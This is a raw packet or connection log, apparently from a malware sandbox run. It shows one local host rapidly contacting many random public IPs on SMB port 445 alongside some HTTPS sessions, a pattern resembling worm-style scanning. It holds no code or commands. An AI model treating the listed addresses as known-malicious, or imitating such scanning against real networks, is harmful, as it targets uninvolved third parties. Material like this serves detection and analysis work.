Jul 20, 2022 15:45:15.277739048 CEST	52890	445	192.168.2.7	48.54.185.199
Jul 20, 2022 15:45:15.277894974 CEST	52891	445	192.168.2.7	177.144.111.82
Jul 20, 2022 15:45:15.277992964 CEST	52892	445	192.168.2.7	185.180.48.120
Jul 20, 2022 15:45:15.278114080 CEST	52893	445	192.168.2.7	9.6.156.7
Jul 20, 2022 15:45:15.278218985 CEST	52895	445	192.168.2.7	124.183.31.146
Jul 20, 2022 15:45:15.278316975 CEST	52896	445	192.168.2.7	9.150.25.170
Jul 20, 2022 15:45:15.278733969 CEST	52897	445	192.168.2.7	2.218.163.44
Jul 20, 2022 15:45:15.278845072 CEST	52898	445	192.168.2.7	12.104.127.119
Jul 20, 2022 15:45:15.283083916 CEST	52902	445	192.168.2.7	87.136.164.187
Jul 20, 2022 15:45:15.283209085 CEST	52903	445	192.168.2.7	177.169.172.245
Jul 20, 2022 15:45:15.283324003 CEST	52904	445	192.168.2.7	211.72.64.197
Jul 20, 2022 15:45:15.283404112 CEST	52905	445	192.168.2.7	26.239.127.236
Jul 20, 2022 15:45:15.283523083 CEST	52906	445	192.168.2.7	25.238.214.84
Jul 20, 2022 15:45:15.283648968 CEST	52907	445	192.168.2.7	208.28.252.23
Jul 20, 2022 15:45:15.286824942 CEST	52885	445	192.168.2.7	80.94.55.71
Jul 20, 2022 15:45:15.322231054 CEST	52908	445	192.168.2.7	70.252.179.74
Jul 20, 2022 15:45:15.353640079 CEST	52910	445	192.168.2.7	107.186.141.4
Jul 20, 2022 15:45:15.387316942 CEST	443	52861	40.125.122.176	192.168.2.7
Jul 20, 2022 15:45:15.387367964 CEST	443	52861	40.125.122.176	192.168.2.7
Jul 20, 2022 15:45:15.387411118 CEST	443	52861	40.125.122.176	192.168.2.7
Jul 20, 2022 15:45:15.387542009 CEST	52861	443	192.168.2.7	40.125.122.176
Jul 20, 2022 15:45:15.387557983 CEST	443	52861	40.125.122.176	192.168.2.7
Jul 20, 2022 15:45:15.387618065 CEST	52861	443	192.168.2.7	40.125.122.176
Jul 20, 2022 15:45:15.387624979 CEST	443	52861	40.125.122.176	192.168.2.7
Jul 20, 2022 15:45:15.387634993 CEST	443	52861	40.125.122.176	192.168.2.7
Jul 20, 2022 15:45:15.387687922 CEST	52861	443	192.168.2.7	40.125.122.176
Jul 20, 2022 15:45:15.387705088 CEST	443	52861	40.125.122.176	192.168.2.7
Jul 20, 2022 15:45:15.387758970 CEST	52861	443	192.168.2.7	40.125.122.176
Jul 20, 2022 15:45:15.387808084 CEST	52861	443	192.168.2.7	40.125.122.176
Jul 20, 2022 15:45:15.393671036 CEST	52911	445	192.168.2.7	56.44.77.144
Jul 20, 2022 15:45:15.394723892 CEST	52912	445	192.168.2.7	145.30.80.162
Jul 20, 2022 15:45:15.395633936 CEST	52913	445	192.168.2.7	150.236.59.149
Jul 20, 2022 15:45:15.402172089 CEST	52915	445	192.168.2.7	37.95.206.45
Jul 20, 2022 15:45:15.402281046 CEST	52916	445	192.168.2.7	123.29.169.154
Jul 20, 2022 15:45:15.402507067 CEST	52918	445	192.168.2.7	64.86.110.221
Jul 20, 2022 15:45:15.403127909 CEST	52861	443	192.168.2.7	40.125.122.176
Jul 20, 2022 15:45:15.403152943 CEST	443	52861	40.125.122.176	192.168.2.7
Jul 20, 2022 15:45:15.403165102 CEST	52861	443	192.168.2.7	40.125.122.176
Jul 20, 2022 15:45:15.403170109 CEST	443	52861	40.125.122.176	192.168.2.7
Jul 20, 2022 15:45:15.884835005 CEST	52922	445	192.168.2.7	188.18.139.43
Jul 20, 2022 15:45:16.324302912 CEST	52931	445	192.168.2.7	82.24.57.153
Jul 20, 2022 15:45:16.324311972 CEST	52930	445	192.168.2.7	171.250.109.155
Jul 20, 2022 15:45:16.324362993 CEST	52932	445	192.168.2.7	149.20.139.94
Jul 20, 2022 15:45:16.324450970 CEST	52935	445	192.168.2.7	203.208.139.61
Jul 20, 2022 15:45:16.324529886 CEST	52936	445	192.168.2.7	117.200.169.219
Jul 20, 2022 15:45:16.324578047 CEST	52937	445	192.168.2.7	34.83.190.138
Jul 20, 2022 15:45:16.442440033 CEST	52942	445	192.168.2.7	131.97.223.8
Jul 20, 2022 15:45:16.443475962 CEST	52944	445	192.168.2.7	8.106.248.83
Jul 20, 2022 15:45:16.444876909 CEST	52947	445	192.168.2.7	188.200.79.0
Jul 20, 2022 15:45:16.458300114 CEST	52948	445	192.168.2.7	117.48.100.30
Jul 20, 2022 15:45:16.458908081 CEST	52949	445	192.168.2.7	28.68.25.181
Jul 20, 2022 15:45:16.489850044 CEST	445	52932	149.20.139.94	192.168.2.7
Jul 20, 2022 15:45:16.490289927 CEST	52932	445	192.168.2.7	149.20.139.94
Jul 20, 2022 15:45:16.538372040 CEST	52951	445	192.168.2.7	68.209.12.194
Jul 20, 2022 15:45:16.538599014 CEST	52952	445	192.168.2.7	193.184.172.181
Jul 20, 2022 15:45:16.538808107 CEST	52953	445	192.168.2.7	130.251.253.170
Jul 20, 2022 15:45:16.538932085 CEST	52954	445	192.168.2.7	35.242.127.154
Jul 20, 2022 15:45:16.539019108 CEST	52955	445	192.168.2.7	38.63.31.16
Jul 20, 2022 15:45:16.539311886 CEST	52959	445	192.168.2.7	63.170.31.32
Jul 20, 2022 15:45:16.539403915 CEST	52960	445	192.168.2.7	133.115.15.173
Jul 20, 2022 15:45:16.539535999 CEST	52961	445	192.168.2.7	118.32.18.97
Jul 20, 2022 15:45:16.539644957 CEST	52962	445	192.168.2.7	165.221.117.109
Jul 20, 2022 15:45:16.539741039 CEST	52963	445	192.168.2.7	206.176.52.246
Jul 20, 2022 15:45:16.539906979 CEST	52964	445	192.168.2.7	130.35.127.175
Jul 20, 2022 15:45:16.552387953 CEST	52965	445	192.168.2.7	173.161.68.200
Jul 20, 2022 15:45:16.552596092 CEST	52966	445	192.168.2.7	107.186.141.5
Jul 20, 2022 15:45:16.552728891 CEST	52968	445	192.168.2.7	83.77.176.205
Jul 20, 2022 15:45:16.554539919 CEST	52969	445	192.168.2.7	194.225.46.18
Jul 20, 2022 15:45:16.554655075 CEST	52971	445	192.168.2.7	149.20.139.1
Jul 20, 2022 15:45:16.554704905 CEST	52970	445	192.168.2.7	77.10.229.158
Jul 20, 2022 15:45:16.557872057 CEST	52973	445	192.168.2.7	58.196.67.26
Jul 20, 2022 15:45:16.557972908 CEST	52974	445	192.168.2.7	206.81.223.153
Jul 20, 2022 15:45:16.558825970 CEST	52975	445	192.168.2.7	55.55.62.221
Jul 20, 2022 15:45:16.558996916 CEST	52977	445	192.168.2.7	116.240.225.42
Jul 20, 2022 15:45:16.577747107 CEST	52978	443	192.168.2.7	20.238.103.94
Jul 20, 2022 15:45:16.577797890 CEST	443	52978	20.238.103.94	192.168.2.7
Jul 20, 2022 15:45:16.577866077 CEST	52978	443	192.168.2.7	20.238.103.94
Jul 20, 2022 15:45:16.601665020 CEST	445	52930	171.250.109.155	192.168.2.7
Jul 20, 2022 15:45:16.624655962 CEST	52979	443	192.168.2.7	40.125.122.176
Jul 20, 2022 15:45:16.624708891 CEST	443	52979	40.125.122.176	192.168.2.7
Jul 20, 2022 15:45:16.624799967 CEST	52979	443	192.168.2.7	40.125.122.176
Jul 20, 2022 15:45:16.625905037 CEST	52979	443	192.168.2.7	40.125.122.176
Jul 20, 2022 15:45:16.625931978 CEST	443	52979	40.125.122.176	192.168.2.7
Jul 20, 2022 15:45:16.661710978 CEST	445	52932	149.20.139.94	192.168.2.7
Jul 20, 2022 15:45:16.721534014 CEST	445	52971	149.20.139.1	192.168.2.7
Jul 20, 2022 15:45:16.721622944 CEST	52971	445	192.168.2.7	149.20.139.1
Jul 20, 2022 15:45:16.723773956 CEST	52981	445	192.168.2.7	149.20.139.1
Jul 20, 2022 15:45:16.816076994 CEST	52978	443	192.168.2.7	20.238.103.94
Jul 20, 2022 15:45:16.816095114 CEST	443	52978	20.238.103.94	192.168.2.7
Jul 20, 2022 15:45:16.888756990 CEST	445	52971	149.20.139.1	192.168.2.7
Jul 20, 2022 15:45:16.965173006 CEST	52983	445	192.168.2.7	188.18.139.44
Jul 20, 2022 15:45:16.967706919 CEST	443	52978	20.238.103.94	192.168.2.7
Jul 20, 2022 15:45:16.967825890 CEST	52978	443	192.168.2.7	20.238.103.94
Jul 20, 2022 15:45:16.987077951 CEST	52978	443	192.168.2.7	20.238.103.94
Jul 20, 2022 15:45:16.987091064 CEST	443	52978	20.238.103.94	192.168.2.7
Jul 20, 2022 15:45:16.989492893 CEST	52978	443	192.168.2.7	20.238.103.94
Jul 20, 2022 15:45:16.989510059 CEST	443	52978	20.238.103.94	192.168.2.7
Jul 20, 2022 15:45:17.060136080 CEST	443	52978	20.238.103.94	192.168.2.7
Jul 20, 2022 15:45:17.060251951 CEST	443	52978	20.238.103.94	192.168.2.7
Jul 20, 2022 15:45:17.060277939 CEST	52978	443	192.168.2.7	20.238.103.94
Jul 20, 2022 15:45:17.060340881 CEST	52978	443	192.168.2.7	20.238.103.94
Jul 20, 2022 15:45:17.067162037 CEST	52978	443	192.168.2.7	20.238.103.94
Jul 20, 2022 15:45:17.067203045 CEST	443	52978	20.238.103.94	192.168.2.7
Jul 20, 2022 15:45:17.102648973 CEST	52930	445	192.168.2.7	171.250.109.155
Jul 20, 2022 15:45:17.120954990 CEST	443	52979	40.125.122.176	192.168.2.7
Jul 20, 2022 15:45:17.121108055 CEST	52979	443	192.168.2.7	40.125.122.176
Jul 20, 2022 15:45:17.124021053 CEST	52979	443	192.168.2.7	40.125.122.176
Jul 20, 2022 15:45:17.124041080 CEST	443	52979	40.125.122.176	192.168.2.7
Jul 20, 2022 15:45:17.124259949 CEST	443	52979	40.125.122.176	192.168.2.7
Jul 20, 2022 15:45:17.125616074 CEST	52979	443	192.168.2.7	40.125.122.176
Jul 20, 2022 15:45:17.126801968 CEST	52986	443	192.168.2.7	20.238.103.94
Jul 20, 2022 15:45:17.126852036 CEST	443	52986	20.238.103.94	192.168.2.7
Jul 20, 2022 15:45:17.126950026 CEST	52986	443	192.168.2.7	20.238.103.94
Jul 20, 2022 15:45:17.132083893 CEST	52986	443	192.168.2.7	20.238.103.94
Jul 20, 2022 15:45:17.132114887 CEST	443	52986	20.238.103.94	192.168.2.7
Jul 20, 2022 15:45:17.168502092 CEST	443	52979	40.125.122.176	192.168.2.7
Jul 20, 2022 15:45:17.188251972 CEST	52987	443	192.168.2.7	20.199.120.182
Jul 20, 2022 15:45:17.188297033 CEST	443	52987	20.199.120.182	192.168.2.7
Jul 20, 2022 15:45:17.188550949 CEST	52987	443	192.168.2.7	20.199.120.182
Jul 20, 2022 15:45:17.189357996 CEST	52987	443	192.168.2.7	20.199.120.182
Jul 20, 2022 15:45:17.189372063 CEST	443	52987	20.199.120.182	192.168.2.7
Jul 20, 2022 15:45:17.273509026 CEST	443	52986	20.238.103.94	192.168.2.7
Jul 20, 2022 15:45:17.285799980 CEST	52986	443	192.168.2.7	20.238.103.94
Jul 20, 2022 15:45:17.291189909 CEST	52986	443	192.168.2.7	20.238.103.94
Jul 20, 2022 15:45:17.291213989 CEST	443	52986	20.238.103.94	192.168.2.7
Jul 20, 2022 15:45:17.304450989 CEST	443	52987	20.199.120.182	192.168.2.7
Jul 20, 2022 15:45:17.304562092 CEST	52987	443	192.168.2.7	20.199.120.182
Jul 20, 2022 15:45:17.308468103 CEST	52987	443	192.168.2.7	20.199.120.182
Jul 20, 2022 15:45:17.308501005 CEST	443	52987	20.199.120.182	192.168.2.7
Jul 20, 2022 15:45:17.308887005 CEST	443	52987	20.199.120.182	192.168.2.7
Jul 20, 2022 15:45:17.315320015 CEST	52986	443	192.168.2.7	20.238.103.94
Jul 20, 2022 15:45:17.315337896 CEST	443	52986	20.238.103.94	192.168.2.7
Jul 20, 2022 15:45:17.330820084 CEST	52987	443	192.168.2.7	20.199.120.182
Jul 20, 2022 15:45:17.330874920 CEST	52987	443	192.168.2.7	20.199.120.182
Jul 20, 2022 15:45:17.330887079 CEST	443	52987	20.199.120.182	192.168.2.7
Jul 20, 2022 15:45:17.331027031 CEST	52987	443	192.168.2.7	20.199.120.182
Jul 20, 2022 15:45:17.374119997 CEST	443	52987	20.199.120.182	192.168.2.7
Jul 20, 2022 15:45:17.374264002 CEST	443	52987	20.199.120.182	192.168.2.7
Jul 20, 2022 15:45:17.374356985 CEST	52987	443	192.168.2.7	20.199.120.182
Jul 20, 2022 15:45:17.374538898 CEST	52987	443	192.168.2.7	20.199.120.182
Jul 20, 2022 15:45:17.379041910 CEST	445	52930	171.250.109.155	192.168.2.7
Jul 20, 2022 15:45:17.392271996 CEST	443	52986	20.238.103.94	192.168.2.7
Jul 20, 2022 15:45:17.392347097 CEST	443	52986	20.238.103.94	192.168.2.7
Jul 20, 2022 15:45:17.392433882 CEST	52986	443	192.168.2.7	20.238.103.94
Jul 20, 2022 15:45:17.392663002 CEST	52986	443	192.168.2.7	20.238.103.94
Jul 20, 2022 15:45:17.392680883 CEST	443	52986	20.238.103.94	192.168.2.7
Jul 20, 2022 15:45:17.392692089 CEST	52986	443	192.168.2.7	20.238.103.94
Jul 20, 2022 15:45:17.392834902 CEST	52986	443	192.168.2.7	20.238.103.94
Jul 20, 2022 15:45:17.395608902 CEST	52990	443	192.168.2.7	20.238.103.94
Jul 20, 2022 15:45:17.395657063 CEST	443	52990	20.238.103.94	192.168.2.7
Jul 20, 2022 15:45:17.395771980 CEST	52990	443	192.168.2.7	20.238.103.94
Jul 20, 2022 15:45:17.396248102 CEST	52990	443	192.168.2.7	20.238.103.94
Jul 20, 2022 15:45:17.396269083 CEST	443	52990	20.238.103.94	192.168.2.7
Jul 20, 2022 15:45:17.449875116 CEST	443	52979	40.125.122.176	192.168.2.7
Jul 20, 2022 15:45:17.449909925 CEST	443	52979	40.125.122.176	192.168.2.7
Jul 20, 2022 15:45:17.449937105 CEST	443	52979	40.125.122.176	192.168.2.7
Jul 20, 2022 15:45:17.450109005 CEST	52979	443	192.168.2.7	40.125.122.176
Jul 20, 2022 15:45:17.450131893 CEST	443	52979	40.125.122.176	192.168.2.7
Jul 20, 2022 15:45:17.450170040 CEST	443	52979	40.125.122.176	192.168.2.7
Jul 20, 2022 15:45:17.450191021 CEST	443	52979	40.125.122.176	192.168.2.7
Jul 20, 2022 15:45:17.450229883 CEST	52979	443	192.168.2.7	40.125.122.176
Jul 20, 2022 15:45:17.450304031 CEST	52979	443	192.168.2.7	40.125.122.176
Jul 20, 2022 15:45:17.477062941 CEST	52995	445	192.168.2.7	153.103.212.10
Jul 20, 2022 15:45:17.477667093 CEST	52996	445	192.168.2.7	144.167.26.178
Jul 20, 2022 15:45:17.479656935 CEST	52979	443	192.168.2.7	40.125.122.176
Jul 20, 2022 15:45:17.479688883 CEST	443	52979	40.125.122.176	192.168.2.7
Jul 20, 2022 15:45:17.484546900 CEST	52999	445	192.168.2.7	81.164.48.248
Jul 20, 2022 15:45:17.484735012 CEST	53000	445	192.168.2.7	223.67.209.204
Jul 20, 2022 15:45:17.484921932 CEST	53001	445	192.168.2.7	210.241.200.5
Jul 20, 2022 15:45:17.538404942 CEST	443	52990	20.238.103.94	192.168.2.7
Jul 20, 2022 15:45:17.538569927 CEST	52990	443	192.168.2.7	20.238.103.94
Jul 20, 2022 15:45:17.555280924 CEST	52990	443	192.168.2.7	20.238.103.94
Jul 20, 2022 15:45:17.555305004 CEST	443	52990	20.238.103.94	192.168.2.7
Jul 20, 2022 15:45:17.559684992 CEST	53002	445	192.168.2.7	4.232.90.163
Jul 20, 2022 15:45:17.579457998 CEST	53004	443	192.168.2.7	52.242.101.226
Jul 20, 2022 15:45:17.579505920 CEST	443	53004	52.242.101.226	192.168.2.7
Jul 20, 2022 15:45:17.579597950 CEST	53004	443	192.168.2.7	52.242.101.226
Jul 20, 2022 15:45:17.580018044 CEST	53004	443	192.168.2.7	52.242.101.226
Jul 20, 2022 15:45:17.580038071 CEST	443	53004	52.242.101.226	192.168.2.7
Jul 20, 2022 15:45:17.583117008 CEST	52990	443	192.168.2.7	20.238.103.94
Jul 20, 2022 15:45:17.583134890 CEST	443	52990	20.238.103.94	192.168.2.7
Jul 20, 2022 15:45:17.591021061 CEST	53006	445	192.168.2.7	125.6.208.103
Jul 20, 2022 15:45:17.591212988 CEST	53010	445	192.168.2.7	167.205.17.197
Jul 20, 2022 15:45:17.591757059 CEST	53013	445	192.168.2.7	31.9.215.16
Jul 20, 2022 15:45:17.591880083 CEST	53014	445	192.168.2.7	210.28.39.175
Jul 20, 2022 15:45:17.619155884 CEST	53015	445	192.168.2.7	107.186.141.6
Jul 20, 2022 15:45:17.666174889 CEST	53017	445	192.168.2.7	68.68.141.48
Jul 20, 2022 15:45:17.666908026 CEST	53018	445	192.168.2.7	176.252.114.130
Jul 20, 2022 15:45:17.667560101 CEST	53019	445	192.168.2.7	29.73.168.17
Jul 20, 2022 15:45:17.668198109 CEST	53020	445	192.168.2.7	91.35.198.134
Jul 20, 2022 15:45:17.668864012 CEST	53021	445	192.168.2.7	8.76.140.37
Jul 20, 2022 15:45:17.669580936 CEST	443	52990	20.238.103.94	192.168.2.7
Jul 20, 2022 15:45:17.669655085 CEST	443	52990	20.238.103.94	192.168.2.7
Jul 20, 2022 15:45:17.669701099 CEST	52990	443	192.168.2.7	20.238.103.94
Jul 20, 2022 15:45:17.669743061 CEST	52990	443	192.168.2.7	20.238.103.94
Jul 20, 2022 15:45:17.671513081 CEST	53025	445	192.168.2.7	217.229.133.210
Jul 20, 2022 15:45:17.672203064 CEST	53026	445	192.168.2.7	106.184.168.237
Jul 20, 2022 15:45:17.672913074 CEST	53027	445	192.168.2.7	201.67.101.39
Jul 20, 2022 15:45:17.673635006 CEST	53028	445	192.168.2.7	215.122.160.213
Jul 20, 2022 15:45:17.674365997 CEST	53029	445	192.168.2.7	140.136.126.161
Jul 20, 2022 15:45:17.675074100 CEST	53030	445	192.168.2.7	53.49.33.117
Jul 20, 2022 15:45:17.675770998 CEST	53031	445	192.168.2.7	50.218.54.94
Jul 20, 2022 15:45:17.677083015 CEST	53033	445	192.168.2.7	88.34.227.231
Jul 20, 2022 15:45:17.677815914 CEST	53034	445	192.168.2.7	68.181.59.118
Jul 20, 2022 15:45:17.678582907 CEST	53035	445	192.168.2.7	191.141.186.17
Jul 20, 2022 15:45:17.682528973 CEST	52990	443	192.168.2.7	20.238.103.94
Jul 20, 2022 15:45:17.682549953 CEST	443	52990	20.238.103.94	192.168.2.7
Jul 20, 2022 15:45:17.682563066 CEST	52990	443	192.168.2.7	20.238.103.94
Jul 20, 2022 15:45:17.682605028 CEST	52990	443	192.168.2.7	20.238.103.94
Jul 20, 2022 15:45:17.686268091 CEST	53036	443	192.168.2.7	20.238.103.94
Jul 20, 2022 15:45:17.686305046 CEST	443	53036	20.238.103.94	192.168.2.7
Jul 20, 2022 15:45:17.686413050 CEST	53036	443	192.168.2.7	20.238.103.94
Jul 20, 2022 15:45:17.704166889 CEST	53038	445	192.168.2.7	223.246.147.141
Jul 20, 2022 15:45:17.704391956 CEST	53040	445	192.168.2.7	90.185.24.173
Jul 20, 2022 15:45:17.704540968 CEST	53041	445	192.168.2.7	31.44.217.242
Jul 20, 2022 15:45:17.704745054 CEST	53042	445	192.168.2.7	106.25.61.50
Jul 20, 2022 15:45:17.734872103 CEST	53036	443	192.168.2.7	20.238.103.94
Jul 20, 2022 15:45:17.734900951 CEST	443	53036	20.238.103.94	192.168.2.7
Jul 20, 2022 15:45:17.870384932 CEST	445	53006	125.6.208.103	192.168.2.7
Jul 20, 2022 15:45:17.878334999 CEST	443	53036	20.238.103.94	192.168.2.7
Jul 20, 2022 15:45:17.878559113 CEST	53036	443	192.168.2.7	20.238.103.94
Jul 20, 2022 15:45:17.888452053 CEST	53036	443	192.168.2.7	20.238.103.94
Jul 20, 2022 15:45:17.888468027 CEST	443	53036	20.238.103.94	192.168.2.7
Jul 20, 2022 15:45:17.891150951 CEST	53036	443	192.168.2.7	20.238.103.94
Jul 20, 2022 15:45:17.891165972 CEST	443	53036	20.238.103.94	192.168.2.7
Jul 20, 2022 15:45:17.907635927 CEST	443	53004	52.242.101.226	192.168.2.7
Jul 20, 2022 15:45:17.907844067 CEST	53004	443	192.168.2.7	52.242.101.226
Jul 20, 2022 15:45:17.910190105 CEST	53004	443	192.168.2.7	52.242.101.226
Jul 20, 2022 15:45:17.910201073 CEST	443	53004	52.242.101.226	192.168.2.7
Jul 20, 2022 15:45:17.910569906 CEST	443	53004	52.242.101.226	192.168.2.7
Jul 20, 2022 15:45:17.911892891 CEST	53004	443	192.168.2.7	52.242.101.226
Jul 20, 2022 15:45:17.952498913 CEST	443	53004	52.242.101.226	192.168.2.7
Jul 20, 2022 15:45:17.972300053 CEST	443	53036	20.238.103.94	192.168.2.7
Jul 20, 2022 15:45:17.972368002 CEST	443	53036	20.238.103.94	192.168.2.7
Jul 20, 2022 15:45:17.972444057 CEST	53036	443	192.168.2.7	20.238.103.94
Jul 20, 2022 15:45:17.972470999 CEST	53036	443	192.168.2.7	20.238.103.94
Jul 20, 2022 15:45:17.972649097 CEST	53036	443	192.168.2.7	20.238.103.94
Jul 20, 2022 15:45:17.972666025 CEST	443	53036	20.238.103.94	192.168.2.7
Jul 20, 2022 15:45:17.975331068 CEST	53045	443	192.168.2.7	20.238.103.94
Jul 20, 2022 15:45:17.975370884 CEST	443	53045	20.238.103.94	192.168.2.7
Jul 20, 2022 15:45:17.975476027 CEST	53045	443	192.168.2.7	20.238.103.94
Jul 20, 2022 15:45:17.975765944 CEST	53045	443	192.168.2.7	20.238.103.94
Jul 20, 2022 15:45:17.975779057 CEST	443	53045	20.238.103.94	192.168.2.7
Jul 20, 2022 15:45:18.041480064 CEST	53046	445	192.168.2.7	188.18.139.45
Jul 20, 2022 15:45:18.123970032 CEST	443	53004	52.242.101.226	192.168.2.7
Jul 20, 2022 15:45:18.124005079 CEST	443	53004	52.242.101.226	192.168.2.7
Jul 20, 2022 15:45:18.124042988 CEST	443	53004	52.242.101.226	192.168.2.7
Jul 20, 2022 15:45:18.124125004 CEST	53004	443	192.168.2.7	52.242.101.226
Jul 20, 2022 15:45:18.124149084 CEST	443	53004	52.242.101.226	192.168.2.7
Jul 20, 2022 15:45:18.124161959 CEST	443	53004	52.242.101.226	192.168.2.7
Jul 20, 2022 15:45:18.124182940 CEST	53004	443	192.168.2.7	52.242.101.226
Jul 20, 2022 15:45:18.124197006 CEST	443	53004	52.242.101.226	192.168.2.7
Jul 20, 2022 15:45:18.124244928 CEST	53004	443	192.168.2.7	52.242.101.226
Jul 20, 2022 15:45:18.124248028 CEST	443	53004	52.242.101.226	192.168.2.7
Jul 20, 2022 15:45:18.124306917 CEST	53004	443	192.168.2.7	52.242.101.226
Jul 20, 2022 15:45:18.129079103 CEST	443	53045	20.238.103.94	192.168.2.7
Jul 20, 2022 15:45:18.129240990 CEST	53045	443	192.168.2.7	20.238.103.94
Jul 20, 2022 15:45:18.140721083 CEST	53004	443	192.168.2.7	52.242.101.226
Jul 20, 2022 15:45:18.140753984 CEST	443	53004	52.242.101.226	192.168.2.7
Jul 20, 2022 15:45:18.140767097 CEST	53004	443	192.168.2.7	52.242.101.226
Jul 20, 2022 15:45:18.140774965 CEST	443	53004	52.242.101.226	192.168.2.7
Jul 20, 2022 15:45:18.145745993 CEST	53045	443	192.168.2.7	20.238.103.94
Jul 20, 2022 15:45:18.145767927 CEST	443	53045	20.238.103.94	192.168.2.7
Jul 20, 2022 15:45:18.148515940 CEST	53045	443	192.168.2.7	20.238.103.94
Jul 20, 2022 15:45:18.148531914 CEST	443	53045	20.238.103.94	192.168.2.7
Jul 20, 2022 15:45:18.237308025 CEST	443	53045	20.238.103.94	192.168.2.7
Jul 20, 2022 15:45:18.237381935 CEST	443	53045	20.238.103.94	192.168.2.7
Jul 20, 2022 15:45:18.237492085 CEST	53045	443	192.168.2.7	20.238.103.94
Jul 20, 2022 15:45:18.237545013 CEST	53045	443	192.168.2.7	20.238.103.94
Jul 20, 2022 15:45:18.244976997 CEST	53045	443	192.168.2.7	20.238.103.94
Jul 20, 2022 15:45:18.245016098 CEST	443	53045	20.238.103.94	192.168.2.7
Jul 20, 2022 15:45:18.402034044 CEST	53006	445	192.168.2.7	125.6.208.103
Jul 20, 2022 15:45:18.590365887 CEST	53056	445	192.168.2.7	223.201.15.234
Jul 20, 2022 15:45:18.590421915 CEST	53057	445	192.168.2.7	62.141.36.16
Jul 20, 2022 15:45:18.590607882 CEST	53058	445	192.168.2.7	222.174.181.1
Jul 20, 2022 15:45:18.590676069 CEST	53060	445	192.168.2.7	146.125.35.190
Jul 20, 2022 15:45:18.590823889 CEST	53062	445	192.168.2.7	7.172.135.64
Jul 20, 2022 15:45:18.666644096 CEST	53063	445	192.168.2.7	190.70.76.162
Jul 20, 2022 15:45:18.681262970 CEST	445	53006	125.6.208.103	192.168.2.7
Jul 20, 2022 15:45:18.723109961 CEST	53064	445	192.168.2.7	107.186.141.7
Jul 20, 2022 15:45:18.723879099 CEST	53065	445	192.168.2.7	67.222.49.77
Jul 20, 2022 15:45:18.724622011 CEST	53066	445	192.168.2.7	47.170.228.177
Jul 20, 2022 15:45:18.726022959 CEST	53068	445	192.168.2.7	13.195.101.5
Jul 20, 2022 15:45:18.794568062 CEST	53072	445	192.168.2.7	114.12.51.128
Jul 20, 2022 15:45:18.834552050 CEST	53078	445	192.168.2.7	61.73.49.70
Jul 20, 2022 15:45:18.836492062 CEST	53080	445	192.168.2.7	132.197.226.79
Jul 20, 2022 15:45:18.836977959 CEST	53081	445	192.168.2.7	177.5.185.58
Jul 20, 2022 15:45:18.901695013 CEST	53082	445	192.168.2.7	25.5.18.58
Jul 20, 2022 15:45:18.901849985 CEST	53083	445	192.168.2.7	66.78.253.162
Jul 20, 2022 15:45:18.901988029 CEST	53084	445	192.168.2.7	122.87.144.108
Jul 20, 2022 15:45:18.902082920 CEST	53085	445	192.168.2.7	185.74.219.65
Jul 20, 2022 15:45:18.902204037 CEST	53086	445	192.168.2.7	197.26.179.231
Jul 20, 2022 15:45:18.902314901 CEST	53087	445	192.168.2.7	201.156.116.4
Jul 20, 2022 15:45:18.902647972 CEST	53091	445	192.168.2.7	70.166.38.66
Jul 20, 2022 15:45:18.902776003 CEST	53092	445	192.168.2.7	190.205.38.238
Jul 20, 2022 15:45:18.902889013 CEST	53093	445	192.168.2.7	116.128.102.16
Jul 20, 2022 15:45:18.903009892 CEST	53094	445	192.168.2.7	151.109.175.20
Jul 20, 2022 15:45:18.903084040 CEST	53095	445	192.168.2.7	148.217.180.144
Jul 20, 2022 15:45:18.903187037 CEST	53096	445	192.168.2.7	46.27.155.216
Jul 20, 2022 15:45:18.903270960 CEST	53097	445	192.168.2.7	95.32.215.63
Jul 20, 2022 15:45:18.903412104 CEST	53099	445	192.168.2.7	155.219.107.161
Jul 20, 2022 15:45:18.903511047 CEST	53100	445	192.168.2.7	129.185.24.197
Jul 20, 2022 15:45:18.903615952 CEST	53101	445	192.168.2.7	171.177.57.85
Jul 20, 2022 15:45:18.923521996 CEST	445	53085	185.74.219.65	192.168.2.7
Jul 20, 2022 15:45:19.068794012 CEST	445	53091	70.166.38.66	192.168.2.7
Jul 20, 2022 15:45:19.182445049 CEST	53105	445	192.168.2.7	188.18.139.46
Jul 20, 2022 15:45:19.202274084 CEST	53106	443	192.168.2.7	52.242.101.226
Jul 20, 2022 15:45:19.202313900 CEST	443	53106	52.242.101.226	192.168.2.7
Jul 20, 2022 15:45:19.202395916 CEST	53106	443	192.168.2.7	52.242.101.226
Jul 20, 2022 15:45:19.211807966 CEST	53106	443	192.168.2.7	52.242.101.226
Jul 20, 2022 15:45:19.211841106 CEST	443	53106	52.242.101.226	192.168.2.7
Jul 20, 2022 15:45:19.493351936 CEST	53085	445	192.168.2.7	185.74.219.65
Jul 20, 2022 15:45:19.513614893 CEST	445	53085	185.74.219.65	192.168.2.7
Jul 20, 2022 15:45:19.531066895 CEST	443	53106	52.242.101.226	192.168.2.7
Jul 20, 2022 15:45:19.531213999 CEST	53106	443	192.168.2.7	52.242.101.226
Jul 20, 2022 15:45:19.542526007 CEST	53106	443	192.168.2.7	52.242.101.226
Jul 20, 2022 15:45:19.542551994 CEST	443	53106	52.242.101.226	192.168.2.7
Jul 20, 2022 15:45:19.542968988 CEST	443	53106	52.242.101.226	192.168.2.7
Jul 20, 2022 15:45:19.544569016 CEST	53106	443	192.168.2.7	52.242.101.226
Jul 20, 2022 15:45:19.592508078 CEST	443	53106	52.242.101.226	192.168.2.7
Jul 20, 2022 15:45:19.602899075 CEST	53091	445	192.168.2.7	70.166.38.66
Jul 20, 2022 15:45:19.723290920 CEST	53115	445	192.168.2.7	22.111.253.12
Jul 20, 2022 15:45:19.726532936 CEST	53116	445	192.168.2.7	209.91.56.203
Jul 20, 2022 15:45:19.726600885 CEST	53117	445	192.168.2.7	221.112.120.80
Jul 20, 2022 15:45:19.726675034 CEST	53119	445	192.168.2.7	45.136.128.187
Jul 20, 2022 15:45:19.726807117 CEST	53121	445	192.168.2.7	181.33.60.218
Jul 20, 2022 15:45:19.752213955 CEST	443	53106	52.242.101.226	192.168.2.7
Jul 20, 2022 15:45:19.752247095 CEST	443	53106	52.242.101.226	192.168.2.7
Jul 20, 2022 15:45:19.752274990 CEST	443	53106	52.242.101.226	192.168.2.7
Jul 20, 2022 15:45:19.752362013 CEST	53106	443	192.168.2.7	52.242.101.226
Jul 20, 2022 15:45:19.752383947 CEST	443	53106	52.242.101.226	192.168.2.7
Jul 20, 2022 15:45:19.752470970 CEST	53106	443	192.168.2.7	52.242.101.226
Jul 20, 2022 15:45:19.752863884 CEST	443	53106	52.242.101.226	192.168.2.7
